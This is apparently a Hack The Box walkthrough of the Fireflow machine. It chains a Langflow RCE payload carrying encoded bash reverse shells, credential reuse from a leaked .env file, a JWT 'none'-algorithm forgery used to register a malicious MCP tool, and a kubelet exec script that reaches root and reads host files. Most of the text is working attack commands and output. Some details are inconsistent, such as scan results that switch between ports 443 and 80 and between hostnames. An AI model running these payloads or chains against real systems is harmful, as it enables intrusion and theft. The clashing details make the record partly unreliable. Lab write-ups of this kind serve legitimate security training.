Description
Fireflow is a medium Hack The Box machine that features:
- LangFlow web application Remote Command Execution
- User Pivoting by using credentials found in LangFlow environment file
- Command Execution in a MCP Kubernetes container using a vulnerable web application (to JWT algorithm mismatch and tool creation)
- Privilege Escalation via a misconfigured Kubernetes cluster with
nodes/proxypermission allowing to read all files from privileged containers
Footprinting
First, we are going to check with ping command if the machine is active and the system operating system. The target machine IP address is 10.129.85.165.
$ ping -c 3 10.129.85.165
PING 10.129.85.165 (10.129.85.165) 56(84) bytes of data.
64 bytes from 10.129.85.165: icmp_seq=1 ttl=63 time=75.6 ms
64 bytes from 10.129.85.165: icmp_seq=2 ttl=63 time=46.5 ms
64 bytes from 10.129.85.165: icmp_seq=3 ttl=63 time=46.6 ms
--- 10.129.85.165 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 46.549/56.259/75.593/13.670 ms
The machine is active and with the TTL that equals 63 (64 minus 1 jump) we can assure that it is an Unix machine. Now we are going to do a Nmap TCP SYN port scan to check all opened ports.
$ sudo nmap 10.129.85.165 -sS -oN nmap_scan
Starting Nmap 7.98 ( https://nmap.org )
Nmap scan report for 10.129.85.165
Host is up (0.048s latency).
Not shown: 992 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
443/tcp open https
9100/tcp filtered jetdirect
30000/tcp filtered ndmps
30718/tcp filtered unknown
30951/tcp filtered unknown
31038/tcp filtered unknown
31337/tcp filtered Elite
Nmap done: 1 IP address (1 host up) scanned in 2.59 seconds
We get two open ports: 22, 443. And some other filtered ports.
Enumeration
Then we do a more advanced scan, with service version and scripts.
$ nmap 10.129.85.165 -sV -sC -p22,443 -oN nmap_scan_ports
Starting Nmap 7.98 ( https://nmap.org )
Nmap scan report for 10.129.85.165
Host is up (0.047s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 10.0p2 Debian 7+deb13u4 (protocol 2.0)
80/tcp open http Apache httpd 2.4.68
|_http-title: Did not follow redirect to http://bedside.htb/
Service Info: Host: default; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.56 seconds
We get two services: one Secure Shell (SSH), and one Hypertext Transfer Protocol (HTTP). As we don’t have feasible credentials for the SSH service we are going to move to the HTTP service. We add the fireflow.htb domain to the /etc/hosts file.
$ echo '10.129.85.165 fireflow.htb' | sudo tee -a /etc/hosts
We find an internal intelligence automation platform. We also find a section about an AI agents assisting with adversary infrastructure mapping and other cybersecurity tasks. We can open it by clicking in the Open Agent button.
We get redirected to the https://flow.fireflow.htb/playground/7d84d636-af65-42e4-ac38-26e867052c25 link, so we add the flow subdomain to the /etc/hosts file.
$ echo '10.129.85.165 flow.fireflow.htb' | sudo tee -a /etc/hosts
We find that the agent is using the Langflow AI builder under-the-hood. It is presented as a chat bot but it is not working correctly.

Exploitation
CVE-2026-33017 is a critical Remote Code Execution (RCE) and Code Injection vulnerability, affecting Langflow versions prior to 1.9.0. The flaw exists within the POST /api/v1/build_public_tmp/{flow_id}/flow API endpoint, which is designed to build public workflows without requiring user authentication. When a request supplies the optional data parameter, the endpoint fails to sanitize the incoming payload and mistakenly processes attacker-controlled flow definitions instead of the validated data stored in the database. This custom flow configuration, which can include arbitrary Python script embedded in custom components or node definitions, is directly passed to Python’s internal exec() function with zero sandboxing constraints. Consequently, an unauthenticated remote network attacker can send a single crafted HTTP request to execute malicious operating system commands, harvest high-value AI api keys, or achieve complete host compromise.
To exploit the vulnerability we can intercept the requests to get the necessary data and then execute the Unauthenticated RCE proof of concept show in the Github advisory of the vulnerability. In this case we already have the flow_id variable as found in the previous link, 7d84d636-af65-42e4-ac38-26e867052c25. We start the listening 1234 TCP port with nc -nvlp 1234 and we run the PoC. We can inject the command in the value key, in the beginning for example with the import os\n\n_command = os.system(\"echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS4yNTQvMTIzNCAwPiYx | base64 -d | bash\")\n\n payload.
$ curl -k -X POST "https://flow.fireflow.htb/api/v1/build_public_tmp/7d84d636-af65-42e4-ac38-26e867052c25/flow" \
-H "Content-Type: application/json" \
-b "client_id=attacker" \
-d '{
"data": {
"nodes": [{
"id": "Exploit-001",
"type": "genericNode",
"position": {"x":0,"y":0},
"data": {
"id": "Exploit-001",
"type": "ExploitComp",
"node": {
"template": {
"code": {
"type": "code",
"required": true,
"show": true,
"multiline": true,
"value": "import os\n\n_command = os.system(\"echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS4yNTQvMTIzNCAwPiYx | base64 -d | bash\")\n\nfrom lfx.custom.custom_component.component import Component\nfrom lfx.io import Output\nfrom lfx.schema.data import Data\n\nclass ExploitComp(Component):\n display_name=\"X\"\n outputs=[Output(display_name=\"O\",name=\"o\",method=\"r\")]\n def r(self)->Data:\n return Data(data={})",
"name": "code",
"password": false,
"advanced": false,
"dynamic": false
},
"_type": "Component"
},
"description": "X",
"base_classes": ["Data"],
"display_name": "ExploitComp",
"name": "ExploitComp",
"frozen": false,
"outputs": [{"types":["Data"],"selected":"Data","name":"o","display_name":"O","method":"r","value":"__UNDEFINED__","cache":true,"allows_loop":false,"tool_mode":false,"hidden":null,"required_inputs":null,"group_outputs":false}],
"field_order": ["code"],
"beta": false,
"edited": false
}
}
}],
"edges": []
},
"inputs": null
}'
We receive a reverse shell as the www-data user, we upgrade the shell.
$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.15.254] from (UNKNOWN) [10.129.85.165] 34124
bash: cannot set terminal process group (1541): Inappropriate ioctl for device
bash: no job control in this shell
www-data@fireflow:/var/lib/langflow$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@fireflow:/var/lib/langflow$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@fireflow:/var/lib/langflow$ ^Z
...
$ stty raw -echo; fg
$ reset xterm
We find the environment file for the LangFlow application in the /etc/langflow/.env file and we find two console users in the system: root and nightfall.
www-data@fireflow:/var/lib/langflow$ ls -a /etc/langflow/
. .. .env
www-data@fireflow:/var/lib/langflow$ cat /etc/langflow/.env
LANGFLOW_AUTO_LOGIN=False
LANGFLOW_SUPERUSER=langflow
LANGFLOW_SUPERUSER_PASSWORD=n1ghtm4r3_b4_n1ghtf4ll
LANGFLOW_SECRET_KEY=XgDCYma6JZzT3XXyePTbr4vgWrrZ4Vzz-PCQ4PXfKgE
LANGFLOW_CONFIG_DIR=/var/lib/langflow
LANGFLOW_LOG_LEVEL=warning
LANGFLOW_NEW_USER_IS_ACTIVE=False
LANGFLOW_CORS_ORIGINS=https://flow.fireflow.htb,https://fireflow.htb
www-data@fireflow:/var/lib/langflow$ grep sh /etc/passwd
root:x:0:0:root:/root:/bin/bash
fwupd-refresh:x:989:989:Firmware update daemon:/var/lib/fwupd:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
nightfall:x:1000:1000::/home/nightfall:/bin/bash
With the password found in the environment file, n1ghtm4r3_b4_n1ghtf4ll, we can create a new session using SSH with the nightfall user, as the password is reused.
$ ssh nightfall@fireflow.htb
nightfall@fireflow.htb's password:
...
nightfall@fireflow:~$ id
uid=1000(nightfall) gid=1000(nightfall) groups=1000(nightfall)
Post-Exploitation
Enumerating the personal folder of nightfall we find a MCP configuration file in the /home/nightfall/.mcp/config.json file.
nightfall@fireflow:~$ ls -a
. .. .bash_history .bash_logout .bashrc .cache .local .mcp .profile user.txt
nightfall@fireflow:~$ cat .mcp/config.json
{
"server": "http://10.129.85.165:30080",
"status_endpoint": "/api/v1/version",
"user": "langflow-bot",
"password": "Langfl0w@mcp2026!"
}
There are the credentials for an internal MCP server located in the 30080 port, with the langflow-bot user and the Langfl0w@mcp2026! password. We can check if it is working by reading the response of a request to the /api/v1/version endpoint.
nightfall@fireflow:~$ curl -s http://127.0.0.1:30080/api/v1/version | jq
{
"service": "MCP AI Tool Registry",
"version": "0.1.0",
"auth": {
"type": "JWT",
"header": "Authorization: Bearer <token>",
"supported_algorithms": [
"HS256",
"none"
]
},
"docs": "/docs",
"endpoints": [
"POST /mcp [MCP JSON-RPC 2.0]",
"POST /api/v1/auth",
"GET /api/v1/tools",
"POST /api/v1/tools [admin]"
]
}
Effectively, the server is available and we can authenticate with the auth endpoint, and use the tools with the tools endpoint. We start by listing the tools.
nightfall@fireflow:~$ curl -s http://127.0.0.1:30080/api/v1/tools | jq
[
{
"name": "ping_host",
"description": "Ping a target host 3 times and return ICMP output."
},
{
"name": "get_metrics_summary",
"description": "Return a summary of system memory and load average from /proc."
},
{
"name": "list_running_tasks",
"description": "List the top 20 running processes sorted by CPU usage."
}
]
We find non-harmful tools. If we want to register additional tools we need Administrator permissions to query to the tools endpoint with the POST method. We authenticate with the auth endpoint.
nightfall@fireflow:~$ curl -s -H 'Content-Type: application/json' -d '{"username":"langflow-bot","password":"Langfl0w@mcp2026!"}' http://127.0.0.1:30080/api/v1/auth | jq
{
"access_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJsYW5nZmxvdy1ib3QiLCJyb2xlIjoidXNlciJ9.RenGdHutrKPCOWjwYSJex8C_uMSmy7I8AMkhmTwf9Ps",
"token_type": "bearer"
}
The server returns back a JSON Web Token (JWT) as a Bearer token to authenticate to the server. By decoding it we find that its payload is: {"sub":"langflow-bot","role": "user"}. The role is user instead admin so if we use the token to authenticate to the endpoint the request will fail.
nightfall@fireflow:~$ curl -s -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJsYW5nZmxvdy1ib3QiLCJyb2xlIjoidXNlciJ9.RenGdHutrKPCOWjwYSJex8C_uMSmy7I8AMkhmTwf9Ps' --data '{}' http://127.0.0.1:30080/api/v1/tools | jq
{
"detail": "Admin role required"
}
We can trick the JWT authorization logic by changing the signature algorithm field in the header to none, as now it is using HS256, symmetric encryption. For this task we can easily use the JWT Debugger service and its JWT Encoder functionality, obtaining eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJsYW5nZmxvdy1ib3QiLCJyb2xlIjoiYWRtaW4ifQ. as the new token with the admin role.
nightfall@fireflow:~$ curl -s -H 'Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJsYW5nZmxvdy1ib3QiLCJyb2xlIjoiYWRtaW4ifQ.' --data '{}' http://127.0.0.1:30080/api/v1/tools | jq
{
"detail": [
{
"type": "model_attributes_type",
"loc": [
"body"
],
"msg": "Input should be a valid dictionary or object to extract fields from",
"input": "{}"
}
]
}
We find that now the request is working but an error is retrieved as the fields for the request are not entered yet. We find the documentation of the server in the /docs endpoint which redirects us to the /openapi.json endpoint.
nightfall@fireflow:~$ curl -s -H 'Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJsYW5nZmxvdy1ib3QiLCJyb2xlIjoiYWRtaW4ifQ.' http://127.0.0.1:30080/docs
...
<script>
const ui = SwaggerUIBundle({
url: '/openapi.json',
...
nightfall@fireflow:~$ curl -s -H 'Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJsYW5nZmxvdy1ib3QiLCJyb2xlIjoiYWRtaW4ifQ.' http://127.0.0.1:30080/openapi.json
{"openapi":"3.1.0","info":{"title":"MCP AI Tool Registry — Task Force Nightfall","version":"0.1.0"},"paths":{"/api/v1/version":{"get":{"summary":"Version","operationId":"version_api_v1_version_get","responses":{"200":....
This is the formatted version of the OpenAPI response:
# API Purpose: Manage and dynamically register AI tools using the Model Context Protocol (MCP)
endpoints:
# Check system version
- GET /api/v1/version:
summary: Get the current API version.
requires_auth: false
# Login to get access
- POST /api/v1/auth:
summary: Authenticate with a username and password to receive a secure token.
parameters:
username: string (required)
password: string (required)
# View registered tools
- GET /api/v1/tools:
summary: List all AI tools currently available in the registry.
requires_auth: false
# Register a brand new tool
- POST /api/v1/tools:
summary: Dynamically inject a new functional tool into the system.
requires_auth: true (Bearer Token)
parameters:
name: string (required) # The unique identifier for the tool
description: string (required) # What the tool does (so the AI knows when to use it)
code: string (required) # The actual programming code logic to be executed
inputSchema: object (optional) # The structure of inputs the tool expects
# Native MCP bridge
- POST /mcp:
summary: The main entry point for native Model Context Protocol communication.
requires_auth: true (Bearer Token)
So we find that we need to send the name, description and code parameters in the request to create the new tool. In the code variable we will enter Python code to trigger a reverse shell to our opened 1235 TCP port, opened previously with the nc -nvlp 1235 port.
nightfall@fireflow:~$ curl -s -H 'Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJsYW5nZmxvdy1ib3QiLCJyb2xlIjoiYWRtaW4ifQ.' -H "Content-Type: application/json" --data '{"name":"malicious-tool","description":"Malicious Tool","code":"import os\ncommand = os.system(\"echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS4yNTQvMTIzNSAwPiYx | base64 -d | bash\")"}' http://127.0.0.1:30080/api/v1/tools | jq
{
"status": "registered",
"name": "malicious-tool"
}
The malicious tool is registered successfully, we trigger it with the standard MCP parameters.
nightfall@fireflow:~$ curl -s -H 'Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJsYW5nZmxvdy1ib3QiLCJyb2xlIjoiYWRtaW4ifQ.' -H "Content-Type: application/json" --data '{"jsonrpc":"2.0","id":1,"method":"tools/call","params":{"name":"malicious-tool","arguments":{}}}' http://127.0.0.1:30080/mcp | jq
We receive a reverse shell from the mcp user from a Kubernetes container.
$ nc -nvlp 1235
listening on [any] 1235 ...
connect to [10.10.15.254] from (UNKNOWN) [10.129.85.165] 17762
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
mcp@mcp-server-54464cb475-29ztf:/app$ id
uid=1000(mcp) gid=1000(mcp) groups=1000(mcp)
mcp@mcp-server-54464cb475-29ztf:/app$ env
env
KUBERNETES_SERVICE_PORT_HTTPS=443
PYTHON_SHA256=272179ddd9a2e41a0fc8e42e33dfbdca0b3711aa5abf372d3f2d51543d09b625
KUBERNETES_SERVICE_PORT=443
HOSTNAME=mcp-server-54464cb475-29ztf
...
We can start the Kubernetes enumeration in search of vulnerabilities from inside the pod (with only curl/python3 available). Every pod usually has a ServiceAccount token mounted automatically. We are going to read it along with the cluster CA cert and namespace and then save it into variables. Then we ask the API server directly using a SelfSubjectRulesReview:
mcp@mcp-server-54464cb475-29ztf:/app$ TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
mcp@mcp-server-54464cb475-29ztf:/app$ CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
mcp@mcp-server-54464cb475-29ztf:/app$ NS=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
mcp@mcp-server-54464cb475-29ztf:/app$ KAPI="https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}"
mcp@mcp-server-54464cb475-29ztf:/app$ curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" -X POST -H "Content-Type: application/json" -d '{"kind":"SelfSubjectRulesReview","apiVersion":"authorization.k8s.io/v1","spec":{"namespace":"'"$NS"'"}}' $KAPI/apis/authorization.k8s.io/v1/selfsubjectrulesreviews
{
"kind": "SelfSubjectRulesReview",
"apiVersion": "authorization.k8s.io/v1",
"metadata": {},
"spec": {},
"status": {
"resourceRules": [
{
"verbs": [
"create"
],
"apiGroups": [
"authorization.k8s.io"
],
"resources": [
"selfsubjectaccessreviews",
"selfsubjectrulesreviews"
]
},
{
"verbs": [
"create"
],
"apiGroups": [
"authentication.k8s.io"
],
"resources": [
"selfsubjectreviews"
]
},
{
"verbs": [
"get"
],
"apiGroups": [
""
],
"resources": [
"nodes/proxy"
]
}
],
...
The result revealed a get permission on nodes/proxy, the ability to proxy requests through the API server directly to a node’s Kubelet API. nodes/proxy requires the exact node name. Since list/get on nodes itself wasn’t granted, the node name was inferred from the machine’s known hostname (fireflow) and confirmed by testing:
mcp@mcp-server-54464cb475-29ztf:/app$ curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" $KAPI/api/v1/nodes/fireflow/proxy/pods
{"kind":"PodList","apiVersion":"v1","metadata":{},"items":[{"metadata":...
A 200 OK with pod data confirmed the node name was correct. Then we list all pods scheduled on the node via the Kubelet proxy, saving to disk to keep terminal output manageable:
mcp@mcp-server-54464cb475-29ztf:/app$ curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" $KAPI/api/v1/nodes/fireflow/proxy/pods -o /tmp/pods.json
mcp@mcp-server-54464cb475-29ztf:/app$ python3 -c "
import json
data = json.load(open('/tmp/pods.json'))
for item in data['items']:
ns = item['metadata']['namespace']
name = item['metadata']['name']
containers = [c['name'] for c in item['spec']['containers']]
hostpaths = [v.get('hostPath',{}).get('path') for v in item['spec'].get('volumes',[]) if 'hostPath' in v]
print(ns, '|', name, '|', containers, '|', 'hostPath:', hostpaths)
"
kube-system | local-path-provisioner-8686667995-lp9th | ['local-path-provisioner'] | hostPath: []
kube-system | metrics-server-c8774f4f4-phw6q | ['metrics-server'] | hostPath: []
monitoring | prometheus-server-867bb4fcfd-m4t59 | ['prometheus-server-configmap-reload', 'prometheus-server'] | hostPath: []
monitoring | prometheus-kube-state-metrics-7c8c787854-25j6q | ['kube-state-metrics'] | hostPath: []
default | mcp-server-54464cb475-29ztf | ['mcp-server'] | hostPath: []
monitoring | prometheus-prometheus-node-exporter-nmntq | ['node-exporter'] | hostPath: ['/proc', '/sys', '/']
kube-system | coredns-76c974cb66-cn7l6 | ['coredns'] | hostPath: []
This revealed a prometheus-node-exporter pod in the monitoring namespace mounting a root volume, the node-exporter pattern of mounting the entire host filesystem for metrics collection. The exact mount path was confirmed:
mcp@mcp-server-54464cb475-29ztf:/app$ python3 -c "
import json
data = json.load(open('/tmp/pods.json'))
for item in data['items']:
if item['metadata']['name'] == 'prometheus-prometheus-node-exporter-nmntq':
for c in item['spec']['containers']:
for vm in c.get('volumeMounts', []):
if vm['name'] == 'root':
print(c['name'], '->', vm['mountPath'])
"
node-exporter -> /host/root
The host’s / is mounted at /host/root inside the container. The API-server proxy path only allows GET requests (mapped to the get verb) due to RBAC POST-based endpoints like /run/ were forbidden. The Kubelet itself, however, can be reached directly on its node IP if network connectivity permits, bypassing the API server’s verb restrictions on nodes/proxy. We retrieve the node’s real IP from the pod list:
mcp@mcp-server-54464cb475-29ztf:/app$ grep -oE '"hostIP":"[^"]*"' /tmp/pods.json | sort -u
"hostIP":"10.129.85.166"
We confirm the Kubelet accepts the ServiceAccount token directly on port 10250:
mcp@mcp-server-54464cb475-29ztf:/app$ NODE_IP=10.129.85.166
mcp@mcp-server-54464cb475-29ztf:/app$ curl -sk -H "Authorization: Bearer $TOKEN" "https://<NODE_IP>:10250/pods" -o /dev/null -w "HTTP_CODE:%{http_code}\n"
HTTP_CODE:200
The Kubelet’s /run/ endpoint requires a POST (mapped to create, which this ServiceAccount lacks), but /exec/ uses a GET with a WebSocket protocol upgrade, matching the get permission that is available. Since curl cannot complete this upgrade handshake, a Python asyncio + websockets script is used instead, which accepts a shell command as an argument.
cat > /tmp/kexec.py << 'PYEOF'
import asyncio
import ssl
import sys
import urllib.parse
import websockets
import inspect
import shlex
NODE_IP = "10.129.85.166"
PORT = 10250
NAMESPACE = "monitoring"
POD = "prometheus-prometheus-node-exporter-nmntq"
CONTAINER = "node-exporter"
def read_token():
with open("/var/run/secrets/kubernetes.io/serviceaccount/token") as f:
return f.read().strip()
async def main():
if len(sys.argv) < 2:
print(f"Usage: python3 {sys.argv[0]} <command>", file=sys.stderr)
sys.exit(1)
CMD = sys.argv[1]
token = read_token()
cmd_parts = shlex.split(CMD)
cmd_qs = "&".join(f"command={urllib.parse.quote(c)}" for c in cmd_parts)
uri = (f"wss://{NODE_IP}:{PORT}/exec/{NAMESPACE}/{POD}/{CONTAINER}"
f"?{cmd_qs}&input=1&output=1&tty=false&stderr=1&stdout=1")
ssl_ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
ssl_ctx.check_hostname = False
ssl_ctx.verify_mode = ssl.CERT_NONE
headers = {"Authorization": f"Bearer {token}"}
sig = inspect.signature(websockets.connect)
kwargs = dict(
subprotocols=["v4.channel.k8s.io", "channel.k8s.io"],
ssl=ssl_ctx,
max_size=None,
)
if "additional_headers" in sig.parameters:
kwargs["additional_headers"] = headers
elif "extra_headers" in sig.parameters:
kwargs["extra_headers"] = headers
try:
async with websockets.connect(uri, **kwargs) as ws:
print(f"[+] Connected, subprotocol: {ws.subprotocol}", file=sys.stderr)
try:
while True:
msg = await asyncio.wait_for(ws.recv(), timeout=5)
if isinstance(msg, bytes) and len(msg) > 0:
channel = msg[0]
data = msg[1:]
if channel == 1:
sys.stdout.buffer.write(data)
sys.stdout.flush()
elif channel == 2:
sys.stderr.buffer.write(data)
sys.stderr.flush()
except asyncio.TimeoutError:
pass
except Exception as e:
print(f"[!] Error: {e}", file=sys.stderr)
asyncio.run(main())
PYEOF
The code execution is confirmed as root inside the container:
mcp@mcp-server-54464cb475-29ztf:/app$ python3 /tmp/kexec.py 'id'
[+] Connected, subprotocol: v4.channel.k8s.io
uid=0(root) gid=65534(nobody) groups=10(wheel),65534(nobody)
Flags
Since /host/root maps to the host’s /, the host’s /root/root.txt is accessible at /host/root/root/root.txt and the /home/nightfall/user.txt flag in the /home/root/home/nightfall/user.txt file.
mcp@mcp-server-54464cb475-29ztf:/app$ python3 /tmp/kexec.py 'cat /host/root/home/nightfall/user.txt'
[+] Connected, subprotocol: v4.channel.k8s.io
<REDACTED>
mcp@mcp-server-54464cb475-29ztf:/app$ python3 /tmp/kexec.py 'cat /host/root/root/root.txt'
[+] Connected, subprotocol: v4.channel.k8s.io
<REDACTED>